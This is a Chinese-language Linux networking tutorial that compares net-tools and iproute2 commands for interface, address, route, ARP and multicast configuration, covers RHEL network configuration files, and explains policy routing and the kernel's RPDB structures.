如果想让输出的结果像 ifconfig 那样详细,可以增加 -s 选项:
root@astrol:~# ip -s link show eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN
mode DEFAULT group default qlen 1000
link/ether 00:0c:29:0d:ce:93 brd ff:ff:ff:ff:ff:ff
RX: bytes packets errors dropped overrun mcast
40288764 244422 1 36510 0
TX: bytes packets errors dropped carrier collsns
51239397 621160 0 0 0
这样,就可以看到网络接口的流量信息了。如果只想看当前被激活的网络接口,可以在命令后头增加一个 up:
root@astrol:~# ip link show up
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT
group default
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN
mode DEFAULT group default qlen 1000
link/ether 00:0c:29:0d:ce:93 brd ff:ff:ff:ff:ff:ff
(2)查询网络设备的IP地址( IPv4 / IPv6)
显示网络接口的 IPv4 地址
$ ifconfig eth1 # 使用 net-tools
$ ip addr show dev eth1 # 使用 iproute2如果是网卡绑定了多 IP 的话,iproute2 能显示所有的地址,而 net-tools 只能显示一个
使用 net-tools:
root@astrol:~# ifconfig eth0
使用 iproute2:
root@astrol:~# ip addr show dev eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
link/ether 00:0c:29:0d:ce:93 brd ff:ff:ff:ff:ff:ff
inet 192.168.6.138/24 brd 192.168.6.255 scope global eth0
valid_lft forever preferred_lft forever
inet 192.168.6.139/24 brd 192.168.6.255 scope global secondary eth0:1
valid_lft forever preferred_lft forever
inet6 fe80::20c:29ff:fe0d:ce93/64 scope link
valid_lft forever preferred_lft forever
当不指定网络接口时,ip addr 其实是 ip addr show 的简略写法。
显示网络接口的 IPv6 地址
net-tools 和 iproute2 都可以显示出所有已分配的 IPv6 地址。
$ ifconfig eth1 # 使用 net-tools
$ ip -6 addr show dev eth1 # 使用 iproute2
(3)设置IP地址( IPv4 / IPv6)
为网络接口分配IPv4地址
$ sudo ifconfig eth1 10.0.0.1/24 # 使用 net-tools
$ sudo ip addr add 10.0.0.1/24 dev eth1 # 使用 iproute2
$ sudo ip addr add 192.168.0.193/24 dev wlan0
$ ip addr show wlan0
$ sudo ip addr del 192.168.0.193/24 dev wlan0
使用 net-tools:
root@astrol:~# ifconfig eth0:1 192.168.6.140
root@astrol:~# ifconfig eth0:1 192.168.6.140 netmask 255.255.255.0
root@astrol:~# ifconfig eth0:1 192.168.6.140 netmask 255.255.255.0 broadcast 192.168.6.255
使用 iproute2:
root@astrol:~# ip addr add 192.168.6.140/24 brd + dev eth0:1
这里使用的模版是:ip addr add ip_address/net_prefix brd + devinterface
net_prefix 隐含指定了子网掩码,brd +表明是标准的广播地址。
注意:通过 ip addr 可以非常容易地给一块网卡添加多个地址,ifconfig 同样可以,只是通过叫做 “IP别名” 的方式做到的。
# 使用 net-tools 配置多IP:
$ sudo ifconfig eth0:1 192.168.10.10 netmask 255.255.255.0 up
$ sudo ifconfig eth0:2 192.168.10.15 netmask 255.255.255.0 up# 使用 iproute2 配置多 IP:
$ sudo ip addr add 10.0.0.1/24 broadcast 10.0.0.255 dev eth1
$ sudo ip addr add 10.0.0.2/24 broadcast 10.0.0.255 dev eth1
$ sudo ip addr add 10.0.0.3/24 broadcast 10.0.0.255 dev eth1# 查看 eth0 的IP地址
$sudo ip addr list dev eth0
为网络接口分配 IPv6 地址
使用这些命令为网络接口添加 IPv6 地址。net-tools 和 iproute2 都允许用户为一个接口添加多个 IPv6 地址。
使用net-tools:
$ sudo ifconfig eth1 inet6 add 2002:0db5:0:f102::1/64
$ sudo ifconfig eth1 inet6 add 2003:0db5:0:f102::1/64使用iproute2:
$ sudo ip -6 addr add 2002:0db5:0:f102::1/64 dev eth1
$ sudo ip -6 addr add 2003:0db5:0:f102::1/64 dev eth1
(4)删除网络设备的IP地址
就 IP 地址的移除而言,除了给接口分配全0地址外,net-tools 没有提供任何合适的方法来移除网络接口的 IPv4 地址。而 iproute2 则能很好地完成。
$ sudo ifconfig eth1 0 # 使用 net-tools
$ sudo ip addr del 10.0.0.1/24 dev eth1 # 使用 iproute2
使用 net-tools:ifconfig eth0 0
使用 iproute2:ip addr del ip_address/net_prefix dev interface
root@astrol:~# ip -4 addr show dev eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
inet 192.168.6.138/24 brd 192.168.6.255 scope global eth0
valid_lft forever preferred_lft forever
inet 192.168.6.141/24 brd 192.168.6.255 scope global secondary eth0
valid_lft forever preferred_lft forever
root@astrol:~# ip addr del 192.168.6.141/24 dev eth0
root@astrol:~# ip -4 addr show dev eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
inet 192.168.6.138/24 brd 192.168.6.255 scope global eth0
valid_lft forever preferred_lft forever
此外,iproute2 提供 ip addr flush 可以一次性删除一个网络设备的所有地址:
root@astrol:~# ip addr flush dev eth0
默认的,这条命令会删除 IPv4 和 IPv6 的地址,如果想分别删除,可以通过分别指定 -4 和 -6 选项。
移除网络设备的IPv6地址
使用这些命令可移除接口中不必要的 IPv6 地址。
$ sudo ifconfig eth1 inet6 del 2002:0db5:0:f102::1/64 # 使用 net-tools
$ sudo ip -6 addr del 2002:0db5:0:f102::1/64 dev eth1 # 使用 iproute2
(5)激活或者停用网络接口
使用这些命令来激活或停用某个指定的网络接口。
使用net-tools:
$ sudo ifconfig eth1 up
$ sudo ifconfig eth1 down使用iproute2:
$ sudo ip link set eth1 down
$ sudo ip link set eth1 up
使用 net-tools:
root@astrol:~# ifconfig eth0 up
root@astrol:~# ifcofig eth0 dow
在 linux 下还可以使用 ifup 和 ifdown 来达到同样的目的。
使用 iproute2:
root@astrol:~# ip link set eth0 up
root@astrol:~# ip link set eth0 down
(6)设置或者改变网络接口的参数(属性)
一个网络接口具体有哪些参数可以供我们去设置呢?输入ip link set eth0,然后按两次 TAB键,如下:
可以看到其中的 up 和 down 就是用来激活或者停用某个网络接口的。例如,使能或者关闭 eth0 的多播功能:
使用 net-tools:
root@astrol:~# ifconfig eth0 multicast
root@astrol:~# ifconfig eth0 -multicast
使用 iproute2:
root@astrol:~# ip link set eth0 multicast on
root@astrol:~# ip link set eth0 multicast off
通常,调整最大传输单元 MTU 用的比较多。
使用 net-tools:
root@astrol:~# ifconfig eth0 mtu 1400
root@astrol:~# ip link show eth0
2: eth0: <BROADCAST,UP,LOWER_UP> mtu 1400 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000
link/ether 00:0c:29:0d:ce:93 brd ff:ff:ff:ff:ff:ff
使用 iproute2:
root@astrol:~# ip link set eth0 mtu 1500
root@astrol:~# ip link show eth0
2: eth0: <BROADCAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000
link/ether 00:0c:29:0d:ce:93 brd ff:ff:ff:ff:ff:ff
改变网卡硬件地址,即 MAC 地址(注意,修改MAC地址前网卡必须先关闭):
使用 net-tools:
root@astrol:~# ifconfig eth0 down
root@astrol:~# ifconfig eth0 hw ether 00:0c:29:0d:ce:95 up
使用 iproute2:
root@astrol:~# ip link set eth0 down
root@astrol:~# ip link set eth0 address 00:0c:29:0d:ce:95
root@astrol:~# ip link set eth0 up
类似的,需要先关闭网卡再设置的属性有 name
改变网络接口的MAC地址
使用下面的命令可篡改网络接口的MAC地址,请注意在更改MAC地址前,需要停用接口。
使用net-tools:
$ sudo ifconfig eth1 hw ether 08:00:27:75:2a:66
使用iproute2:
$ sudo ip link set dev eth1 address 08:00:27:75:2a:67
查看IP路由表
net-tools中有两个选择来显示内核的IP路由表:route和netstat。在iproute2中,使用命令ip route。
使用net-tools:
$route -n
$netstat -rn使用iproute2:
$ ip route show
假设现在你有一个IP地址,你需要知道路由包从哪里来。可以使用下面的路由选项(译注:列出了路由所使用的接口等):
ip route get 10.42.0.47
添加和修改默认路由
这里的命令用来添加或修改内核IP路由表中的默认路由规则。请注意在net-tools中可通过添加新的默认路由、删除旧的默认路由来实现修改默认路由。在iproute2使用ip route命令来代替。
使用net-tools:
$ sudo route add default gw 192.168.1.2 eth0
$ sudo route del default gw 192.168.1.1 eth0使用iproute2:
$ sudo ip route add default via 192.168.1.2 dev eth0
$ sudo ip route add default via 192.168.0.196
$ sudo ip route replace default via 192.168.1.2 dev eth0
添加和移除静态路由
使用net-tools:
$ sudo route add default gw 192.168.1.2 eth0
$ sudo route del default gw 192.168.1.1 eth0使用iproute2:
$ sudo ip route add default via 192.168.1.2 dev eth0
$ sudo ip route replace default via 192.168.1.2 dev eth0
显示网络统计数据
使用 ip 命令还可以显示不同网络接口的统计数据。
当你需要获取一个特定网络接口的信息时,在网络接口名字后面添加选项ls即可。使用多个选项-s会给你这个特定接口更详细的信息。特别是在排除网络连接故障时,这会非常有用。
$ ip -s -s link ls p2p1
监控 netlink 消息
也可以使用ip命令查看netlink消息。monitor选项允许你查看网络设备的状态。比如,所在局域网的一台电脑根据它的状态可以被分类成REACHABLE或者STALE。使用下面的命令:
$ ip monitor all
查看套接字统计信息
这里的命令用来查看套接字统计信息(比如活跃或监听状态的TCP/UDP套接字)。
使用net-tools:
$ netstat
$ netstat -l使用iproute2:
$ ss
$ ss -l
查看ARP表
地址解析协议(ARP)用于将一个IP地址转换成它对应的物理地址,也就是通常所说的MAC地址。使用 ip 命令的 neigh 或者neighbour 选项,你可以查看接入你所在的局域网的设备的 MAC 地址。
使用net-tools:
$ arp -an使用iproute2:
$ ip neigh
添加或删除静态ARP项
使用net-tools:
$ sudo arp -s 192.168.1.100 00:0c:29:c0:5a:ef
$ sudo arp -d 192.168.1.100使用iproute2:
$ sudo ip neigh add 192.168.1.100 lladdr 00:0c:29:c0:5a:ef dev eth0
$ sudo ip neigh del 192.168.1.100 dev eth0
添加、删除或查看多播地址
使用net-tools:
$ sudo ipmaddr add 33:44:00:00:00:01 dev eth0
$ sudo ipmaddr del 33:44:00:00:00:01 dev eth0
$ ipmaddr show dev eth0
$ netstat -g使用iproute2:
$ sudo ip maddr add 33:44:00:00:00:01 dev eth0
$ sudo ip maddr del 33:44:00:00:00:01 dev eth0
$ ip maddr list dev eth0
net-tools 中 ifconfig 详细解释
许多windows非常熟悉ipconfig命令行工具,它被用来获取网络接口配置信息并对此进行修改。Linux系统拥有一个类似的工具,也就是ifconfig(interfaces config)。通常需要以root身份登录或使用sudo以便在Linux机器上使用ifconfig工具。依赖于ifconfig命令中使用一些选项属性,ifconfig工具不仅可以被用来简单地获取网络接口配置信息,还可以修改这些配置。
1.命令格式:ifconfig [网络设备] [参数]
2.命令功能:ifconfig 命令用来查看和配置网络设备。当网络环境发生改变时可通过此命令对网络进行相应的配置。
3.命令参数:
up 启动指定网络设备/网卡。
down 关闭指定网络设备/网卡。该参数可以有效地阻止通过指定接口的IP信息流,
如果想永久地关闭一个接口,我们还需要从核心路由表中将该接口的路由信息全部删除。
arp 设置指定网卡是否支持ARP协议。
-promisc 设置是否支持网卡的promiscuous模式,如果选择此参数,网卡将接收网络中发给它所有的数据包
-allmulti 设置是否支持多播模式,如果选择此参数,网卡将接收网络中所有的多播数据包
-a 显示全部接口信息
-s 显示摘要信息(类似于 netstat -i)
add 给指定网卡配置IPv6地址
del 删除指定网卡的IPv6地址
<硬件地址> 配置网卡最大的传输单元
mtu<字节数> 设置网卡的最大传输单元 (bytes)
netmask<子网掩码> 设置网卡的子网掩码。掩码可以是有前缀0x的32位十六进制数,
也可以是用点分开的4个十进制数。如果不打算将网络分成子网,可以不管这一选项;
如果要使用子网,那么请记住,网络中每一个系统必须有相同子网掩码。
tunel 建立隧道
dstaddr 设定一个远端地址,建立点对点通信
-broadcast<地址> 为指定网卡设置广播协议
-pointtopoint<地址> 为网卡设置点对点通讯协议
multicast 为网卡设置组播标志
address 为网卡设置IPv4地址
txqueuelen<长度> 为网卡设置传输列队的长度
4.使用实例:
实例1:显示网络设备信息(激活状态的)
命令:ifconfig实例2:启动关闭指定网卡
命令:
ifconfig eth0 up
ifconfig eth0 down实例3:为网卡配置和删除IPv6地址
命令:
ifconfig eth0 add 33ffe:3240:800:1005::2/64
ifconfig eth0 del 33ffe:3240:800:1005::2/64实例4:用ifconfig修改MAC地址
命令:ifconfig eth0 hw ether 00:AA:BB:CC:DD:EE实例5:配置IP地址
ifconfig eth0 192.168.120.56
ifconfig eth0 192.168.120.56 netmask 255.255.255.0
ifconfig eth0 192.168.120.56 netmask 255.255.255.0 broadcast 192.168.120.255
说明:
ifconfig eth0 192.168.120.56 给 eth0网卡配置IP地:192.168.120.56
ifconfig eth0 192.168.120.56 netmask 255.255.255.0
给eth0网卡配置IP地址:192.168.120.56 ,并加上子掩码:255.255.255.0
ifconfig eth0 192.168.120.56 netmask 255.255.255.0 broadcast 192.168.120.255
给eth0网卡配置IP地址:192.168.120.56,加上子掩码:255.255.255.0,
加上个广播地址: 192.168.120.255实例6:启用和关闭ARP协议
命令:
ifconfig eth0 arp
ifconfig eth0 -arp
输出:
[root@localhost ~]# ifconfig eth0 arp
[root@localhost ~]# ifconfig eth0 -arp
说明:
ifconfig eth0 arp 开启网卡eth0 的arp协议;
ifconfig eth0 -arp 关闭网卡eth0 的arp协议;实例7:设置最大传输单元
命令:ifconfig eth0 mtu 1500
ifconfig # 处于激活状态的网络接口
ifconfig -a # 所有配置的网络接口,不论其是否激活
ifconfig eth0 # 显示eth0的网卡信息
ifconfig eth0 down # 关闭eth0网卡
ifconfig eth0 up # 开启eth0网卡
ifconfig eth0 add 33ffe:3240:800:1005::2/ 64 # 为网卡添加IPv6地址
ifconfig eth0 del 33ffe:3240:800:1005::2/ 64 # 为网卡删除IPv6地址
ifconfig eth0 hw ether 00:AA:BB:CC:DD:EE # 修改MAC地址
ifconfig eth0 192.168.1.56 # 给eth0网卡配置IP地址
ifconfig eth0 192.168.1.56 netmask 255.255.255.0 # 给eth0网卡配置IP地址,并加上子掩码# 给eth0网卡配置IP地址,加上子掩码,加上个广播地址
ifconfig eth0 192.168.1.56 netmask 255.255.255.0 broadcast 192.168.1.255ifconfig eth0 mtu 1500 # 设置能通过的最大数据包大小为 1500 bytes
ifconfig eth0 arp # 开启arp功能
ifconfig eth0 -arp # 关闭arp功能
net-tools 中 ifconfig 和 route 与 iproute2 中 ip
主要介绍 linux 下网络查看、配置的基本命令:ifconfig、ip、route,然后捎带介绍下 DNS、主机名 等信息的配置!
配置网络之前,首先我们来认识一下linux系统下网络接口的类型和命名规则以及网络地址的类型
1. 网络接口类型
- lo:本地回环接口。一般在系统内部进行回环测试使用。
- eth[0-9]:以太网接口。以太网接口就是我们经常用来连接网线的那个物理接口了。
- pppx:点对点的连接
2. 以太网网卡的命名规则
在不同的系统之下其命名规则是不尽相同的,我们这就以 RedHat 5-32bit的系统为例:
REHL 5-32bit:以太网网卡命名规则的定义文件为 /etc/modprod.conf
3. 网络地址类型
- 暂时性网络地址:利用 ifconfig 等命令配置的网络信息,会立即生效,但重启网络服务或系统会失效。
- 永久性的网络地址:通过修改系统内的网络配置文件进行的修改,不会立即生效,需要重启网络服务或者系统会生效,并且会永久性的生效。
4. 网络IP地址配置命令之 ifconfig
1、ifconfig:查看活动的网卡信息,仅限于活动的网卡
例如先查看本地的网卡信息如下—ifconfig
为了说明 ifconfig 查看的只是活动的网卡信息,我们下面把lo网卡down掉,在查看
2、ifconfig 的相关子命令
ifconfig eth[0-9]:后面跟某个网卡则可以直接查看某个网卡的信息,如只查看eth0的信息
ifconfig –a :则是查看所有的网卡信息,包括活动或非活动的网卡信息
下面利用 ifconfig 来配置网卡的 IP 地址,当然这个地址是临时的地址,一旦重启网络服务或者重启网络系统就会失效的!!
格式:ifconfig ethx IP/MASK:配置某个网卡的ip地址
例如:设置eth0的IP地址为172.16.35.1/16,则就可以在命令行下直接键入:ifconfig eth0 172.16.36.5/16
我们下面重启一下网络服务,此配置就会失效,然后恢复为原来的IP地址的,如下图
3、网络服务的管理命令
网络服务控制命令都有哪些那???就是很简单,就是 start,stop,restart,status 这几个命令而已。
用法格式:/etc/init.d/network {start | stop | restart | status} 或者service network {start | stop | restart | status}
5. 永久性IP地址配置
通过上面我们了解了利用ifconfig来配置临时的网络IP地址了,当然这还不能满足我们的需求,我们不能每次使用电脑的时候都配置IP地址啊~那太麻烦,所以我们需要把IP地址配置为固定的IP或者通过DHCP服务来回去,这样的配置就需要修改系统的网络配置文件了,我们REHL5上的网络配置文为/etc/sysconfig/network-scripts/ifcfg-eth[0-9],下面我们就来看看怎么定义这个文件内的内容。
其配置方式有两种:DHCP和固定IP
DHCP的设置比较简单,只需指定BOOTPROTOL类型为DHCP即可,当然、配置之前让我们先来了解下其配置文件内定义的内容都是有哪些?详解如下图所示
当然,我们上图是基于固定IP的设置,那么基于DHCP的呢?DHCP的更加简单,配置参数如下
DEVICE=eth0
BOOTPROTO=DHCP
ONBOOT=YES
HWADDR=......
6. 路由相关信息设定命令 route
路由的设定,路由相关信息的设定命令是route
1、route:直接可以查看我们系统上的路由信息
route –n :以数字的形式显示路由信息
2、route命令的子选项
添加路由
route add -host 添加主机路由
route add -net 添加网络路由
route add -net 0.0.0.0 添加默认路由格式:route add -net|host DEST gw NEXTHOP
例如,添加一条路由,让主机通过172.16.7.3访问192.168.0.0/24网段
route add –net 192.168.0.0/24 gw 172.16.7.3
删除路由
route del -host 删除主机路由
route del –net 删除网络路由
例如,删除刚才加的那条路由信息:route del –net 192.168.0.0、24 即可实现
3、以上利用 route 命令增加的配置在重启网络服务或者系统的时候,所有的配置都会失效,这只是临时的配置而已,要想使我们配置的路由信息永久性的有效,我们需要把配置信息定义在配置文件内:/etc/sysconfig/network-scripts/route-ethx,ethx 表示对应的通过那个网卡路由
配置格式:
格式1:DEST(目的) via NEXTTOP(下一跳)
格式2:ADDRESS0=网络地址(目的地址)、NETMASK0=子网掩码(目的网络)、
GATEWAY0=网关(通过那个网卡的网关)、ADDRESS1=、NETMASK1=……等等,可以设置条路由。
以上的配置不会立即生效,但是重启网络服务或者系统就会生效,并且是永久有效。
7. IP 命令
IP 命令是 iproute2 软件包内的一个命令,功能比 ifconfig 更强大,可以对系统配置IP和路由信息。
ip link # 配置网络接口属性
ip link show # 查看所有网络接口属性信息
ip -s link show # 查看所有统计信息
ip link set ethX {up|down|arp {on|off}} # 设置网络接口的工作属性
ip addr # 配置网络地址
ip addr show # 查看网络信息,看到的信息和ip link show差不多,都比较简要# 配置IP地址(此命令配置的网卡信息利用ifconfig查看不到,需要利用ip addr show查看)
ip addr add IP dev ethX
ip addr add IP dev ethx label ethX:X:配置子Ip并对其加别名
删除已经配置的IP地址:ip addr del IPADDR dev STRING
3、我们说过IP命令是个强大的命令,那是因为我们不仅仅能利用IP命令来创建IP地址相关的配置,还可以利用IP命令来实现对系统上路由信息的设置,其主要命令如下:
ip route # 路由信息
ip route change|replace # 修改路由信息
ip route add to 目的网段 dev ethx via IP(下一跳IP)
上面就是IP命令的用法,当然这些命令行下的操作只是暂时性的,一旦重启网络服务或系统这些配置都将会失效,如果想使其永久生效,就需要利用前的相关方法在配置文件内进行设定了。
8. 网络别名的配置文件的配置方法
(1). 命令配置法:ifconfig和ip
Ifconfig ethx:x IP/netmask
ip addr add IP dev ethx label ethX:X
利用命令配置的只是暂时的IP地址,如果重启网络服务和系统都会失效的。
(2). 配置文件配置法:
修改/etc/sysconfig/network-scripts/ifcfg-ethx:x
DEVICE=ethx:x
BOOTPROTO=static
IPIPADDR= IP地址
NETMASK= 子网掩码
GATEWAY= 网关
ONBOOT=YES 是否开机启用
HWADDR=...... MAC
非主要地址不能用DHCP服务获得,必须为静止的。
9. DNS配置文件:
(1). DNS配置文件位置:/etc/resolv.conf
(2). DNS配置格式:
nameserver DNS_IP1
nameserver DNS_IP2
指定本地解析:
/etc/hosts下添加
目标主机IP 主机名
fg:172.16.36.1 www.chris.com
DNS解析过程-->/etc/hosts-->DNS 服务器
10. 主机名配置文件:
(1). 配置文件位置: /etc/sysconfig/network
(2). 配置格式:
HOSTNAME=名称
NETWORKING={yes|no}:是否开启网络功能
Linux 策略性路由应用及分析(iproute2)
:https://blog.51cto.com/369day/200853
策略性路由
策略性是指对于IP包的路由是以网络管理员根据需要定下的一些策略为主要依据进行路由的。例如我们可以有这样的策略:“所有来直自网A的包,选择X路径;其他选择Y路径”,或者是“所有TOS为A的包选择路径F;其他选者路径K”。
Cisco 的网络操作系统 (Cisco IOS) 从11.0开始就采用新的策略性路由机制。而Linux是在内核2.1开始采用策略性路由机制的。策略性路由机制与传统的路由算法相比主要是引入了多路由表以及规则的概念。
多路由表(multiple Routing Tables)
传统的路由算法是仅使用一张路由表的。但是在有些情形底下,我们是需要使用多路由表的。例如一个子网通过一个路由器与外界相连,路由器与外界有两条线路相连,其中一条的速度比较快,一条的速度比较慢。对于子网内的大多数用户来说对速度并没有特殊的要求,所以可以让他们用比较慢的路由;但是子网内有一些特殊的用户却是对速度的要求比较苛刻,所以他们需要使用速度比较快的路由。如果使用一张路由表上述要求是无法实现的,而如果根据源地址或其它参数,对不同的用户使用不同的路由表,这样就可以大大提高路由器的性能。
规则(rule)
规则是策略性的关键性的新的概念。我们可以用自然语言这样描述规则,例如我门可以指定这样的规则:
规则一:“所有来自192.16.152.24的IP包,使用路由表10, 本规则的优先级别是1500”
规则二:“所有的包,使用路由表253,本规则的优先级别是32767”
我们可以看到,规则包含3个要素:
什么样的包,将应用本规则(所谓的SELECTOR,可能是filter更能反映其作用);
符合本规则的包将对其采取什么动作(ACTION),例如用那个表;
本规则的优先级别。优先级别越高的规则越先匹配(数值越小优先级别越高)。
策略性路由的配置方法
传统的linux下配置路由的工具是route,而实现策略性路由配置的工具是iproute2工具包。这个软件包是由Alexey Kuznetsov开发的,软件包所在的主要网址为ftp://ftp.inr.ac.ru/ip-routing/。
这里简单介绍策略性路由的配置方法,以便能更好理解第二部分的内容。详细的使用方法请参考Alexey Kuznetsov写的 ip-cfref文档。策略性路由的配置主要包括接口地址的配置、路由的配置、规则的配置。
接口地址的配置 IP Addr
对于接口的配置可以用下面的命令进行:ip addr [ add | del ] IFADDR dev STRING
例如:router># ip addr add 192.168.0.1/24 broadcast 192.168.0.255 label eth0 dev eth0
上面表示,给接口eth0赋予地址192.168.0.1 掩码是255.255.255.0(24代表掩码中1的个数),广播地址是192.168.0.255
路由的配置 IP Route
Linux最多可以支持255张路由表,其中有3张表是内置的:
表255 本地路由表(Local table) 本地接口地址,广播地址,已及NAT地址都放在这个表。该路由表由系统自动维护,管理员不能直接修改。
表254 主路由表(Main table) 如果没有指明路由所属的表,所有的路由都默认都放在这个表里,一般来说,旧的路由工具(如route)所添加的路由都会加到这个表。一般是普通的路由。
表253 默认路由表 (Default table) 一般来说默认的路由都放在这张表,但是如果特别指明放的也可以是所有的网关路由。
表 0 保留
路由配置命令的格式如下:
ip route list SELECTOR
ip route { change | del | add | append | replace | monitor } ROUTE
如果想查看路由表的内容,可以通过命令:ip route list table table_number
对于路由的操作包括change、del、add 、append 、replace 、 monitor这些。例如添加路由可以用:
router># ip route add 0/0 via 192.168.0.4 table main
router># ip route add 192.168.3.0/24 via 192.168.0.3 table 1
第一条命令是向主路由表(main table)即表254添加一条路由,路由的内容是设置192.168.0.4成为网关。
第二条命令代表向路由表1添加一条路由,子网192.168.3.0(子网掩码是255.255.255.0)的网关是192.168.0.3。
在多路由表的路由体系里,所有的路由的操作,例如网路由表添加路由,或者在路由表里寻找特定的路由,需要指明要操作的路由表,所有没有指明路由表,默认是对主路由表(表254)进行操作。而在单表体系里,路由的操作是不用指明路由表的。
规则的配置 IP Rule
在Linux里,总共可以定义 个优先级的规则,一个优先级别只能有一条规则,即理论上总共可以有 条规则。其中有3个规则是默认的。命令用法如下:
Usage: ip rule [ list | add | del ] SELECTOR ACTION
SELECTOR := [ from PREFIX ] [ to PREFIX ] [ tos TOS ]
[ dev STRING ] [ pref NUMBER ]
ACTION := [ table TABLE_ID ] [ nat ADDRESS ]
[ prohibit | reject | unreachable ]
[ flowid CLASSID ]
TABLE_ID := [ local | main | default | new | NUMBER
首先我们可以看看路由表默认的所有规则:
root@netmonster# ip rule list
0: from all lookup local
32766: from all lookup main
32767: from all lookup default
- 规则 0,它是优先级别最高的规则,规则规定,所有的包,都必须首先使用local表(254)进行路由。本规则不能被更改和删除。
- 规则 32766,规定所有的包,使用表main进行路由。本规则可以被更改和删除。
- 规则 32767,规定所有的包,使用表default进行路由。本规则可以被更改和删除。
在默认情况下进行路由时,首先会根据规则0在本地路由表里寻找路由,如果目的地址是本网络,或是广播地址的话,在这里就可以找到合适的路由;如果路由失败,就会匹配下一个不空的规则,在这里只有32766规则,在这里将会在主路由表里寻找路由;如果失败,就会匹配32767规则,即寻找默认路由表。如果失败,路由将失败。重这里可以看出,策略性路由是往前兼容的。
还可以添加规则:
router># ip rule add [from 0/0] table 1 pref 32800
router >#ip rule add from 192.168.3.112/32 [tos 0x10] table 2 pref 1500 prohibit
第一条命令将向规则链增加一条规则,规则匹配的对象是所有的数据包,动作是选用路由表1的路由,这条规则的优先级是32800。
第二条命令将向规则链增加一条规则,规则匹配的对象是IP为192.168.3.112,tos等于0x10的包,使用路由表2,这条规则的优先级是1500,动作是prohibit。添加以后,我们可以看看系统规则的变化。
router># ip rule
0: from all lookup local
1500 from 192.168.3.112/32 [tos 0x10] lookup 2
32766: from all lookup main
32767: from all lookup default
32800: from all lookup 1
上面的规则是以源地址为关键字,作为是否匹配的依据的。除了源地址外,还可以用以下的信息:
From -- 源地址
To -- 目的地址(这里是选择规则时使用,查找路由表时也使用)
Tos -- IP包头的TOS(type of sevice)域
Dev -- 物理接口
Fwmark -- 防火墙参数
采取的动作除了指定表,还可以指定下面的动作:
Table 指明所使用的表
Nat 透明网关
Action prohibit 丢弃该包,并发送 COMM.ADM.PROHIITED的ICMP信息
Reject 单纯丢弃该包
Unreachable丢弃该包, 并发送 NET UNREACHABLE的ICMP信息
策略性路由的应用
基于源地址选路( Source-Sensitive Routing)
如果一个网络通过两条线路接入互联网,一条是比较快的ADSL,另外一条是比较慢的普通的调制解调器。这样的话,网络管理员既可以提供无差别的路由服务,也可以根据源地址的不同,使一些特定的地址使用较快的线路,而普通用户则使用较慢的线路,即基于源址的选路。
根据服务级别选路(Quality of Service)
网络管理员可以根据IP报头的服务级别域,对于不同的服务要求可以分别对待对于传送速率、吞吐量以及可靠性的有不同要求的数据报根据网络的状况进行不同的路由。
节省费用的应用
网络管理员可以根据通信的状况,让一些比较大的阵发性通信使用一些带宽比较高但是比较贵的路径一段短的时间,然后让基本的通信继续使用原来比较便宜的基本线路。例如,管理员知道,某一台主机与一个特定的地址通信通常是伴随着大量的阵发性通信的,那么网络管理员可以安排一些策略,使得这些主机使用特别的路由,这些路由是按需拨号,带宽比较高的线路,通信完成以后就停止使用,而普通的通信则不受影响。这样既提高网络的性能,又能节省费用。
负载平衡(Load Sharing)
根据网络交通的特征,网络管理员可以在不同的路径之间分配负荷实现负载平衡。
Linux下策略性路由的实现--RPDB(Routing Policy DataBase)
在Linux下,策略性路由是由RPDB实现的。对于RPDB的内部机制的理解,可以加深对于策略性路由使用的理解。这里分析的是linux 2.4.18的RPDB实现的细节。主要的实现文件包括:
fib_hash.c
fib_rules.c
fib_sematic
fib_frontend.c
route.c
RDPB主要由多路由表和规则组成。路由表以及对其的操作和其对外的接口是整个RPDB的核心部分。路由表主要由table,zone,node这些主要的数据结构构成。对路由表的操作主要包含物理的操作以及语义的操作。路由表除了向IP层提供路由寻找的接口以外还必须与几个元素提供接口:与用户的接口(即更改路由)、proc的接口、IP层控制接口、以及和硬件的接口(网络接口的改变会导致路由表内容的改变)。处在RDPB的中心的规则,由规则选取表。IP层并不直接使用路由表,而是通过一个路由适配层,路由适配层提供为IP层提供高性能的路由服务。
路由表(Fib Table)
数据结构:
在整个策略性路由的框架里,路由表是最重要的的数据结构,我们在上面以及对路由表的概念和结构进行了清楚的说明。Linux里通过下面这些主要的数据结构进行实现的。
主要的数据结构 作用 位置
struct fib_table 路由表 ip_fib.h 116
struct fn_hash 路由表的哈希数据 fib_hash.c 104
struct fn_zone zone域 fib_hash.c 85
struct fib_node 路由节点 fib_hash.c 68
struct fib_info 路由信息 ip_fib.h 57
struct fib_result 路由结果 ip_fib.h 86
数据结构之间的主要关系如下。路由表由路由表号以及路由表的操作函数指针还有表数据组成。这里需要注意的是,路由表结构里并不直接定义zone域,而是通过一个数据指针指向fn_hash。只有当zone里有数据才会连接到fn_zone_list里。(如图)
系统的所有的路由表由数组变量*fib_tables[RT_TABLE_MAX+1]维护,其中系统定义RT_TABLE_MAX为254,也就是说系统最大的路由表为255张,所有的路由表的操作都是对这个数组进行的。。同时系统还定义了三长路由表*local_table; *main_table。
路由表的操作:
Linux策略路由代码的主要部分是对路由表的操作。对于路由表的操作,物理操作是直观的和易于理解的。对于表的操作不外乎就是添加、删除、更新等的操作。还有一种操作,是所谓的语义操作,语义操作主要是指诸如计算下一条的地址,把节点转换为路由项,寻找指定信息的路由等。
1、物理操作(operation):
路由表的物理操作主要包括如下这些函数:
路由标操作 实现函数 位置
新建路由表
删除路由表
搜索路由 fn_hash_lookup fib_hash.c 269
插入路由到路由表 fn_hash_insert fib_hash.c 341
删除路由表的路由 fn_hash_delete
fn_hash_dump
fib_hash.c 433
fib_hash.c 614
更新路由表的路由 fn_hash_flush fib_hash.c 729
